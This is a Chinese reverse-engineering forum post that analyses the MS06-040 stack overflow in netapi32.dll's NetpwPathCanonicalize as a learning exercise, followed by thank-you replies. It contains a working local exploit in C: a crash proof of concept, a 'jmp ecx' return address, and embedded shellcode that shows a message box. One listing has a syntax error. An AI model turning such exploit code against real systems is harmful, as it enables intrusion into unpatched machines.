吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6484|回复: 55
收起左侧

[漏洞分析] 漏洞分析:MS06-040

  [复制链接]
kn0sky 发表于 2022-4-6 12:24
本帖最后由 kn0sky 于 2022-4-6 12:28 编辑

前言

最近开始学习漏洞分析相关内容,完成对Windows相关安全机制的学习后,便是寻找实例进行练习,这MS06-040是一个经典的栈溢出漏洞,原理很好理解,在此分享一下自己的分析过程,希望对同样是漏洞分析新手的同学有所帮助

漏洞简介

Microsoft 安全公告 MS06-040 - 严重 | Microsoft Docs

漏洞存在于netapi32.dll中的导出函数NetpwPathCanonicalize()里,原型为:

int NetpwPathCanonicalize (
    uint16  path[ ],     //   [in]  path name
    uint8  can_path[ ],  //    [out]  canonicalized path
    uint32  maxbuf,      //  [in]  max size of can_path
    uint16  prefix[ ],   //  [in]  path prefix
    uint32*  pathtype,   //  [in out]  path type
    uint32  pathflags    //  [in]  path flags, 0 or 1
);

功能是将perfix和path用\字符拼接,输出到can_path中,输出字符串的容量是maxbuf这么大

动态分析

漏洞触发的POC如下:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);

int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;

    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);

    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);

    return 0;
}

代码是装在存在漏洞的netapi32.dll来调用漏洞函数进行复现漏洞

这里将path和prefix设置成长字符串来触发栈溢出,编译运行直到异常:

image-20220322171444455.png
发现执行到NetpwPathCanonicalize里的这个函数的时候,触发了异常

跟进该函数进行查看:

image-20220322171910338.png
首先是将b填充到栈里

image-20220322171955139.png
然后接下来把\给拼接进来,这里用的是UNICODE编码,所以一个字符占2个字节,为啥会拼到这里呢,因为b的最后2字节留空,被误当作了字符串的结尾,然后将\拼接进来了

image-20220322172228289.png
接下来又进行了一次字符串拼接,将a也拼接进来了,此时ebp和ebp+4(返回地址)都被覆盖了,到ret指令时:

image-20220322172411292.png
返回地址被淹没

执行shellcode只需要将a字符串的最后8个字节进行处理一下,让函数返回跳转到shellcode上即可,此时ecx的值是can_path的首地址,所以只需要构造一个jmp ecx即可:

FF E1 jmp ecx

搜索含有该指令的地址:

Log data, item 4
 Address=7C810788
 Message=  0x7c810788 : "\xff\xe1" |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)

修改后的代码:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
char shellcode[] = 
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;

    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);
        memcpy(prefix,shellcode,168;        
        //7C810788
        path[0x318] = '\x88';
        path[0x319] = '\x07';
        path[0x31a] = '\x81';
        path[0x31b] = '\x7c';
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);

    return 0;
}

遇到的问题

这里进入shellcode执行之后,在shellcode中某一步骤使得shellcode所在的栈的位置和esp撞一起了:

image-20220322175951821.png
解决思路有:

  1. 在覆盖返回地址的时候利用Ret2libc技术让esp膨胀或者缩小,以至于让esp的改变不影响shellcode本身
  2. 增大shellcode,让shellcode会被影响的区域全部填充成nop(参考自:[原创][完]0day安全学习笔记:MS06-040漏洞分析

显然解决方案2比较方便省事

完成弹窗功能

按照解决方案2修改代码:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
char shellcode[] = 
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;

    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);
        memcpy(prefix,shellcode,sizeof(shellcode));        
        //7C810788
        path[0x318] = '\x88';
        path[0x319] = '\x07';
        path[0x31a] = '\x81';
        path[0x31b] = '\x7c';
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);

    return 0;
}

成功弹窗:

image-20220322180603559.png

静态分析

使用IDA找到目标函数分析如下:

image-20220322194523428.png
这里有字符串长度验证,但是使用的是wcslen来计算字符串长度,计算出来一个字符占2个字节长度,而合法性验证默认当成1个字符占1个字节了,由此产生了栈溢出漏洞

参考资料

[原创][完]0day安全学习笔记:MS06-040漏洞分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

远程RPC溢出EXP编写实战之MS06-040 - FreeBuf网络安全行业门户

免费评分

参与人数 20威望 +2 吾爱币 +118 热心值 +19 收起 理由
lonely0910 + 1 + 1 用心讨论,共获提升!
香芋 + 1 + 1 用心讨论,共获提升!
gancaoxin + 1 + 1 用心讨论,共获提升!
kakavspaoche + 1 + 1 热心回复!
jafsldjlsa + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
qws1855 + 1 + 1 谢谢@Thanks!
c137r1ck + 1 + 1 用心讨论,共获提升!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
红烧排骨 + 1 热心回复!
procurve + 1 + 1 用心讨论,共获提升!
gaosld + 1 + 1 谢谢@Thanks!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Tunx + 1 + 1 谢谢@Thanks!
1MajorTom1 + 1 我很赞同!
Tonyha7 + 1 用心讨论,共获提升!
happyBread + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Liu3456 + 1 + 1 我很赞同!
yamakazedesu + 1 + 1 谢谢@Thanks!
黑色枪骑兵 + 1 + 1 我很赞同!
keda + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| kn0sky 发表于 2022-4-7 17:09
tudous 发表于 2022-4-7 14:28
感觉可以深度分析一下,ms08-067,这个貌似更经典

也分析了,过两天发帖
lighterleon 发表于 2022-4-6 14:24
黑色枪骑兵 发表于 2022-4-6 14:35
yamakazedesu 发表于 2022-4-6 14:37
读完受益匪浅!
加奈绘 发表于 2022-4-6 16:18
感谢分享,收藏学习了
jessezzzz 发表于 2022-4-6 17:03
学到了,感谢分享。
Polariszz 发表于 2022-4-6 17:08
lighterleon 发表于 2022-4-6 14:24
学习了,感谢分享

学习了感谢分享
0xC05 发表于 2022-4-6 17:09
分析的很详细 顶!
rz66 发表于 2022-4-6 17:18
保姆式文章,读起来太省心了。
再深一些,扩展一些就更爽了,感谢楼主分享。
gqr090723 发表于 2022-4-6 18:46
感谢楼主分享,学习到了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-26 19:52

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表